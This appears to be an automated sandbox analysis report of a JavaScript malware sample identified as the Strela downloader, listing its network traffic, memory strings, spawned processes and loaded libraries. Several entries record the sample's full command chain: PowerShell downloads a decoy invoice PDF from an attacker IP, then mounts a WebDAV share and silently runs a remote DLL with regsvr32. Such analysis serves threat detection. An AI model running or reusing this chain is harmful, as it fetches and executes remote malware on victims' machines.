6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49714

Source: global traffic

TCP traffic: 192.168.2.7:49714 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49702 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000004.00000002.1281233204.00000199752E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000D.00000002.1335850988.00000161D1E2C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1335850988.00000161D1DF8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1335850988.00000161D1E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: svchost.exe, 0000000F.00000002.2568834594.00000218C0A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.1333286254.00000218C08C0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.15.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.11.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2876, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 23268167561217715617.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/58@5/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3804:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4qwffpyn.dyg.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23268167561217715617.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1760,i,841207783363075579,11677814257639590929,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1760,i,841207783363075579,11677814257639590929,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
